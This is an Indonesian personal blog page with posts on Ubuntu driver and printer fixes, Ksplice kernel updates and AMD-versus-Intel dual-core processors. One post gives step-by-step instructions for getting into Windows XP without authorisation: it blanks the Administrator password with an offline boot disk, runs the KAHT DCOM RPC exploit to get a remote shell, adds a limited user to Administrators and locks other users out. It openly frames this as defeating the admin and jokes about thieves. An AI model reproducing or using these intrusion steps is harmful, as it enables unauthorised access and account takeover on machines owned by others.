Selasa, 11 Januari 2011

Sis Mirage 3 chipset 671 di Ubuntu 10.04

Sampai saat ini Ubuntu memang ‘bermasalah’ dengan VGA card keluaran Sis. Dari awal saya install Ubuntu 10.04 pada Sabtu 15 Mei 2010 tampilan di layar sudah ancur, lebih parah dari Ubuntu 9.10. Saya sudah mencoba menginstall dua file .deb yang berjalan mulus di Ubuntu 9.10 ternyata konflik, terpaksa menjelajahi dumay mencari ‘cara baru’ agar resolusi di monitor saya bisa minimal 1024 x 768 pixels.

Saya baca di forum Ubuntu ini, kemudian saya coba praktekkkan ternyata gatot. Saat saya akan generate file xorg.conf, baru pada langkah pertama tampilan layar monitor saya malah ancur seperti benang ruwet tak terbaca sama sekali, sampai akhirnya harus restart. Baru tadi malam saya menemukan cara lain di forum Ubuntu. :) :P :D

Sebenarnya intinya sama. Menempatkan file di driver dan mengkonfigurasi file xorg.conf. Namun di sini tak perlu membuat file xorg.conf, cukup copy paste saja. Cara yang saya tempuh seperti ini,

Saya baca di forum Ubuntu ini, kemudian saya coba praktekkkan ternyata gatot. Saat saya akan generate file xorg.conf, baru pada langkah pertama tampilan layar monitor saya malah ancur seperti benang ruwet tak terbaca sama sekali, sampai akhirnya harus restart. Baru tadi malam saya menemukan cara lain di forum Ubuntu. :) :P :D

Sebenarnya intinya sama. Menempatkan file di driver dan mengkonfigurasi file xorg.conf. Namun di sini tak perlu membuat file xorg.conf, cukup copy paste saja. Cara yang saya tempuh seperti ini,

1. Saya download filenya di sini.
2. Ekstrak file tersebut.
3. Copy file sis671_drv.la dan sis671_drv.so ke direktori /usr/lib/xorg/modules/drivers. Untuk melakukan hal ini harus login di terminal sebagai root.
4. Tempatkan file xorg.conf ke /etc/X11/.
5. Restart komputer.

Cihui.. akhirnya resolusi layar monitor saya bisa 1024 x 768 pixels. Sebenarnya bisa sampai 1280 x 800, namun saya kurang suka memakai resolusi ini. Monitor saya tetap tak terdeteksi tapi peduli amat, yang penting resolusi sudah naik :) . Masih terdapat bug, yaitu saat booting dan shutdown layar monitor masih ancur tapi saat ini hal tersebut bukan sesuatu yang mengganggu bagi saya.

Rabu, 22 Desember 2010

Assalamualaikum....

Sebelumnya terima kasih buat om jurank_dankal buat share ilmunya di forum dan ane tulis di sini sebagai catatan buat saya...




upgrade dan update kernel gk update2 jg jd yg 2.6.36.2, trz cari tutor d'google, nemu yg manual tp kurang ampuh, akhirnya nemu dech tools ne > Ksplice-uptrack adalah tools buat update kernel yg gk memerlukan reboot, langsung saja step by step menggunakan-ny…

1. Masuk sbg root..
2. Download http://www.ksplice.com/uptrack/download-ubuntu]ksplice-uptrack.deb
3. Install ksplice-uptrack.deb dgn command :

$ dpkg -i ksplice-uptrack.deb

atau boleh jg klick ja file *.deb-ny trz bakal jalan dr ubuntu software center, atau bole jg dr synaptic (terserah sech)…


http://jurankc0de.tk/wp-content/uploads/2010/12/Screenshot-5.png

4. Setelah selesai bisa dech update kernel, nnti da tampilan GUI-ny atau dr terminal dgn comand d’bawah ini :

$ uptrack-upgrade

Update system kita dgn install latest update

$ uptrack-remove id

Removes update dgn ID id. Jika d’invoked smw, akan menghapus smw update.

$ uptrack-install id

Installs update dgn ID id.

$ uptrack-show

memunculkan smw yg dah update

Oke sekian dulu semoga bermanfaat buat semua......

Senin, 20 Desember 2010

Tekhnik Exploit Password WinXP


Assalamualaikum.............


Nyuwon sewu nggehhh juragan-juragan...
Kali ini saya akan mencoba untuk menjelaskan 2 teknik exploitasi pada windows XP, pertama melakukan pemanfaatan SAM files dan terakhir memanfaatkan RPC-nya Windows XP. Tekhnik kedua sebetulnya adalah kelanjutan dari artikelnya mRt di echo zine 10 yang membahas tentang Exploitasi Windows XP [pada fat32] dengan memanfaatkan sang Admin sendiri (hehuehuheue … ) dan batch file yang disisipkan di start|program|startup oleh sang kriminal :) , sedangkan kali ini yang saya bahas adalah jenis NTFS, yang tidak memiliki acces seperti pada fat32 untuk dapat menaruh batch file di folder start up nya sang Admin tersayang, sehingga apabila dipaksakan “Access Denied” adalah jawabannya. Apa akibatnya jika kita menggunakan kedua tekhnik diatas ?, yang jelas mah sama-sama buat orang seneng… heuheueehuhuehuee ! Jawab sendiri dah …

Tekhnik pertama :
Yang kita butuhkan sekarang adalah :
Petter Recovery Password yang bisa di download dari situsnya langsung http://home.eunet.no/~pnordahl/ntpasswd/bootdisk.html sekalian sama infonya aja, biasanya sudah di sediakan dalam bentuk rar yang bisa di jadikan bootdisk. Yang penulis pakai untuk experimen kali ini yaitu versi bd040818 terdapat 3 file di dalamnya yakni bd040818.bin , install.bat , rawrite2.exe .
1 buah disket kosong dan layak pakai. :) –> untuk disket boot Petter Recovery Password.
Nekatzzzz ….

Kasusnya begini, misalnya ….anggap saja kita lupa password untuk login winXP nya. : ) atau kasus yang laen aja kali ya, yang lebih menantang … hehehe. Misalnya ada rampok yang kebingungan nggak bisa login, padahal kompienya mo dijual … huehueueheue. Ada yang kesindir nggak nih ??? Udah ah bcanda mulu. Langsung aja deuh …

Langkah pertama … Setelah Petter Recovery Password di jadikan bootdisk, langsung saja booting dengan disket tersebut …
Langkah berikutnya, anda akan di tanya di drive mana SAM file berada. Tekan enter saja untuk defaultnya, setelah itu akan ditanyakan secara spesifik lagi, di direktori mana file SAM berada, biasanya untuk yang defaultnya tuh SAM file berada di /windows/system32/config, enter lagi aja untuk yang defaultnya. Setelah itu ……. Nah sampe disini anda akan di minta User mana yang ingin di ganti/hapus passwordnya. Lebih baik Administrators aja, karena yang kita lakukan saat ini kan mencari cara untuk menjadi SU di Windows XP. Biar gampang melakukan sesuatu nantinya …. hehehehe !!! Untuk eksperiment kali ini lebih baik anda membuat password Administrators menjadi blankpassword [* = blankpassword], supaya gampang nantinya, dan blankpassword merupakan pilihan terbaik dalam menggunakan Petter Password Recovery. Soalnya penulis sendiri telah belasan kali mencoba mengganti password para user dengan tetapi hanya 2 yang berhasil. Sudah ??? … siiiip, tekan ! untuk mengakhir sesi reset password, dan q untuk mengakhiri scripts tersebut. Selanjutnya anda akan di tanya kembali, ingin mengulang atau tidak. Lebih baik tidak lahhhh … Edit Completed. Catatan : Setelah menggunakan Petter Recovery Password, Windows berusaha untuk melakukan scandisk, system ne baru di acak-acak nie : ). Tunggu hingga proses scandisk selesai.
Setelah proses booting, anda akan di hadapkan dengan tampilan login yang seperti biasanya. ( Nggak menarik, hehehehe… ) Sekarang tekan ctrl+alt+del, tunggu sebentar dan kemudian tekan kembali ctrl+alt+del. Nah ada tampilan login yang clasic, seperti di windows 98 dulu. Dengan 2 textbox…

————————————————-
| Log On to Windows | x |
————————————————-
| User Name : Al-k |
| Password : ****** |
| |
| | Ok | | Cancel | | BLABLABLABLA….| |
————————————————-

Ya, bentuknya kira-kira seperti diatas … : )…
Setelah itu ganti usernamenya menjadi Administrator, passwordnya di kosongkan saja, karena sebelumnya kita telah menjadikan blankpassword pada Administrator. Ok. Jreng-jreng-jreng… sekarang anda menjadi super user kembali. Silahkan buat account untuk anda sendiri.

Tekhnik Kedua :
Tiba saatnya kita maju bersama … :D , memanfaatkan Massive RPC WinXP yang bobrok. Tekhnik kedua ini dibuat untuk para user yang memiliki acces limited. Yang dibuat kesal oleh sang admin, sehingga untuk menginstall suatu software harus minta izin dari sang Admin. :( . Yang dibutuhkan hanyalah acces untuk masuk ke command shell, dan satu tool kecil ‘kaht’ . Siap ???… buka command promptnya …

C:\Documents and Settings\Al-k>net user

User accounts for \\NOMATTER
——————————————————————————-
Administrator Al-k GNU– keluarga –
Guest HelpAssistant SUPPORT_388945a0
VUSR_NOMATTER
The command completed successfully.

// Anggap saja disini Al-k adalah user yang limited
// Setelah itu masuk ke direktori di mana kaht berada

D:\Data+ku_>

Kemudian kita test dulu kaht-nya… bisa nggak nih kita nge-root.

D:\Data+ku_>kaht 127.0.0.0 127.0.0.3
_________________________________________________

KAHT II – MASSIVE RPC EXPLOIT
DCOM RPC exploit. Modified by aT4r@3wdesign.es
#haxorcitos && #localhost @Efnet Ownz you!!!
FULL VERSION? :) – AUTOHACKING
________________________________________________

[+] Targets: 127.0.0.0-127.0.0.3 with 50 Threads
[+] Attacking Port: 135. Remote Shell at port: 34522
[+] Scan In Progress…
– Connecting to 127.0.0.2

Sending Exploit to a [WinXP] Server…
– Conectando con la Shell Remota…

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

Tuh kan dapet deh akses rootnya. Jangan seneng dulu. Langsung aja kita
buat akses user yang terbatas tadi menjadi Super User.

C:\WINDOWS\system32> net localgroup Administrators Al-k /add

The command completed successfully.

Selanjutnya anda bisa login dengan user yang baru saja dirubah accountnya tadi. Dan anda bisa login ke account user lain yang memiliki akses sama seperti Administrator, tentunya dengan menghilangkan password user tersebut dulu sebelumnya. Dan anda bisa masuk ke regedit untuk menutup perizinan user account pada control panel :

HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/DisallowCpl/

, buat string baru dengan nama 1 dan ubah valuenya menjadi nusrmgr.cpl
Dan bisa anda disable akses ke command prompt kepada semua user. Sehingga anda menjadi SU yang benar-benar otoriter. Sayangnya tekhnik yang kedua ini hanya bisa di lakukan di Windows XP Service Pack 1. : (

// Refferensi :
- Seni Tekhnik Hacking 1 [S’to]
- Echo Zine 10, Exploitasi Windows XP [mRt]
- Iseng Instink
// Greetz :
- y3dips, Lirva32, z3r0byte ( Arabic Man :) ), the_day, S’to [duuh masuk TV tuk
yang kesekian kalinya nih ???] . & Echo staff who can’t mentioned 1 by 1.
- Alumni SMAN4 Bogor & All guy’s in STTTelematika Ciawi Bogor.
- Special for Jheseecka & Melati “Mel, ini artikel ke 1 dan ke 2-nya !!! :) “
- hg_ , Fel_c, Mentari^, the aeh, zacx, Azwa, Sita, Dulleh, Ibonx, weww, Qank-qunk,
AK47-angga, ninjaring
- Allguys in #yogyafree, Echo Member, #khilafah, #pribumi, #e-c-h-o, #freebase

Jumat, 17 Desember 2010

Detek Printer Canon iP1880 di Ubuntu


Mau curhat dulu nehhhh karena pengalaman yang sangat susah di hilangkan ya aku posting di mari daripada lupa lagi ya itung-itung penguat daya ingat, begini Q pusing waktu tetangga aku mau print di kompie aku yang serba berantakan ruanganku yach terpaksa asal jadi dia minta tolong ma aku ngetes printer canon pixma 1880 ehhhh pas kompie q gak ada windows, hemmmmm yach aku coba aja di my life ubuntu heheheheeee.

abra ka dabra ehhhh gak sangaka ini printer langsung nongol di desktop hahahahahaa... keren neh ubuntu selain simpel dah support juga,.... tapi pas gw coba kok gak mau ngeprint?? pertama gw otak-atik tuh printer dari kabel ampe dalem2nya ehhh ternyata gak ada masalah..... heeeemmmmm akhirnya browsing dech ke si pakde google ehh nemu cara simpelnya Untuk mengatasi hal ini ikuti langkah berikut :

1. Download cnijfilter-common_2.70-1_i386.deb dan cnijfilter-ip1800series_2.70-1_i386.deb bisa download disini setelah itu silahkan ekstrak file tesebut.



2. Install sudo dpkg -i cnijfilter-common_2.70-1_i386.deb dan sudo dpkg -i cnijfilter-ip1800series_2.70-1_i386.deb atau klik dua kali pada file tersebut .

3. Kemudian ikuti perintah berikut cd /usr/lib/
sudo ln -s ./libtiff.so.4.2.1 ./libtiff.so.3

Selain beberapa file di atas, kita juga harus meng-install beberapa library pendukung.
Buka Terminal atau Synaptic Package Manager kemudian install beberapa lib berikut ini:

sudo apt-get install libpng3
sudo apt-get install libgtk1.2
sudo apt-get install libxml1

Sekarang coba hidupkan printer dan coba print tespagenya. ehhhh ternyata berhasil hemmmmmmmm udah bisa bisa ngeprint nehhhhh ubuntu gw heheheheheheee lumayan


Perbedaan Dual Core AMD vs Intel

Perang besar antara AMD dan Intel telah menuju ke arah yang serius, hal ini dibuktikan dengan ditempel ketatnya intel yang diketahui sebagai penguasa di dunia processor oleh AMD. Dalam perang kali ini akan dibahas apa itu Dual Core...

Dual Core : Dua inti micro processor yang digabungkan dalam suatu paket processor. Jadi komputer dengan processor dual core “hampir” sama dengan dua buah processor.

Dual Channel : Arsitektur pada DDR yang secara efektif menggandakan kekuatan data pada FSB dari RAM ke memory controller. Dual Channel memungkinkan memory controller memanfaatkan dua channel data 64 bit, sehingga menghasilkan total bandwitdh 128 bit.


KECEPATAN selalu jadi acuan dari sebuah prosesor pada sebuah motherboard. Namun, kepuasan pengguna dan tuntutan kerja yang semakin beragam maka kerja prosesor kini dituntut lebih, yaitu melakukan apa yang dinamakan multi- threading. Dalam artian, selain mempunyai kecepatan yang memadai seperti yang telah terwujud pada single prosessor, prosesor tersebut juga dituntut bekerja dengan berbagai pekerjaan tapi dikerjakan dalam satu waktu secara bersamaan. Misalnya saat kita melakukan sebuah pekerjaan seperti melakukan aktivitas pengetikan atau sambil menyusun materi untuk presentasi, sementara itu pada aplikasi lainnya kita juga tengah melakukan ripping audio CD ke format lain ataupun nge-burn data pada CDRW, bahkan men-download dari situs internet. Biasanya pada sistem yang menggunakan prosesor single core, kita akan merasakan sejumlah task komputasi yang dilakukan berbarengan oleh sistem, maka akan berlangsung sangat lambat, bahkan bisa menyebabkan sistem mengalami hang.

Melihat kebutuhan pengguna komputer pada kerja multi-threading seperti yang digambarkan di atas, kini dua vendor terkemuka yaitu Intel dan AMD sudah mengatisipasinya dengan meluncurkan prosesor dengan kerja ganda yaitu processor dual core atau bahkan untuk yang akan datang bisa multi core. Pada sistem yang menggunakan prosesor dual core ini, task komputasi yang dilakukan sistem akan tetap berlangsung normal.

Pada prosesor dual core ini akan terjadi pengabungan dua prosesor beserta cache, namun dalam satu kemasan chip atau integrated circuit (IC). Keuntungan dual core terutama pada cache coherency. Dengan dual core, komunikasi antara kedua die dapat dilakukan pada clock rate yang lebih tinggi dibandingkan jika memanfaatkan bus di luar chip.
Namun, di balik kelebihannnya tersebut, dual core bukan tanpa kekurangan. Di antara kekurangan itu misalnya membutuhkan operating system (OS) yang mampu mengoptimalkan kinerjanya. Setidaknya kemampuan OS untuk mengoptimalkan SMP (symmetric multi-processing). Selain itu, dibutuhkan juga aplikasi yang sudah mendukung pengoptimalan prosesor ini.

Secara teknis pun dapat dikatakan, dual core sebenarnya tidak akan membuat detak komputer (clock speed) jadi lebih cepat daripada prosesor single core yang mempunyai clock speed tinggi. Dual core hanya akan meningkatkan operasional pengguna PC saja.

Bicara prosesor, tentu tak bisa dilepaskan dari adanya perang pasar AMD dan Intel. Perseteruan tersebut rupanya bakal terus berlanjut tidak hanya di katagori single core processor, tapi juga di kelas dual core. Bahkan mungkin bakal berlanjut di prosesor masa depan yaitu multi core. Sebenarnya, sebelum kedua perusahaan ini ramai-ramai meluncurkan prosesor dual core-nya, IBM lebih dahulu memproduksi dual core CPU, yaitu IBM POWER4. Namun, para pengguna komputer di tanah air--untuk urusan prosesor--lebih akrab dengan nama yang dikeluarkan oleh Intel dan AMD.

Prosesor dual core AMD
Untuk prosesor berbasis deskstop pada model dual core ini, AMD pertama kali meluncurkan prosesor dengan nama Athlon 64 X2. Dengan masing-masing core diperkuat 64K L1 intruction cache dan 64 K L1 data cache.
Untuk komunikasi kedua core AMD X2 tersebut akan berkomunikasi secara langsung melalui system request queue dan crossbar yang akan menghubungkannya dengan onchip memory controller dan Hyper-Transport I/O. Dengan desain arsitektur seperti ini, lebih memungkinkan kedua prosesor pada masing-masing core dapat secara optimal memanfaatkan resource yang tersedia. Tanpa terhambat oleh batasan, seperti katakanlah sistem bus. Ini juga akan memperkecil latency karena semua yang disebut tadi masih terletak dalam satu chip.

Varian dari jajaran AMD Athlon 64 X2 tersebut antara lain Athlon 64 X2 4200+ (2,2GHz) dengan L2 cache 512KB; Athlon 64 X2 4400+ (2,2GHz) dengan L2 cache 1024KB; Athlon 64 X2 4600+ (2,4 GHz) dengan L2 cache 512KB dan X2 4800+ (2,4 Ghz). Perbedaan dari masing-masing varian, selain pada clock speed, juga pada ukuran L2 cache yang tersedia.
Sedangkan untuk dual core yang diperuntukkan untuk server baru-baru ini AMD mengeluarkan tiga model prosesor dual core Opteron ke pasaran. Tiga varian terbaru dari AMD itu adalah model 885, yang dirancang hingga 8 jalur dan 16 server enterprise. Model 285 digunakan untuk 2 jalur serta 4 workstation dan server. Sedangkan untuk model 185, digunakan untuk 1 jalur, 2 server dan workstation.

Prosesor dual core Intel
Prosesor dual core dari Intel untuk desktop diluncurkan dengan nama kode Smithfield yang memiliki kecepatan 3.2 GHz dengan masing-masing core dilengkapi dengan L2 cache sebesar 1 MB. Chip yang dinamai Pentium D tersebut memiliki kecepatan clock jauh lebih rendah dari CPU core tunggal 3.8 GHz, seperti seri 570 dan 670.

Untuk itu, pada Intel Pentium D juga dilakukan peningkatan branch prediction unit. Dengan memperbaiki kinerja branch prediction unit, akan membuat prosesor dapat bekerja secara optimal dan memperkecil kemungkinan kesalahan.
Fungsi hyper-threading tidak ditinggalkan begitu saja untuk prosesor Smithfield ini. Namun, ini hanya akan tersedia untuk prosesor desktop versi high end dari Intel dan tidak akan menemukannya pada setiap prosesor Smithfield, yakni Intel Pentium D 840 (3,2 GHz), Intel Pentium D 830 (3,0 GHz), dan 820 (2,8 GHz).

Tidak hanya itu, untuk pemakai desktop client sebagai penerusnya, Intel memperkenalkan prosesor dual core dengan kode Presler dengan total cache 4 MB yang masing-masing core memiliki cache L22 MB. Rencananya prosesor ini diproduksi dengan teknologi proses 65nm.

Untuk komputer yang berbasis server DP (dual processing) Intel bakal meluncurkan dua tipe terbarunya yang merupakan penerus dari prosesor Intel Xeon, yaitu prosesor dual core dengan kode Dempsey dan Sossaman dengan masing-masing cache L22 MB independent.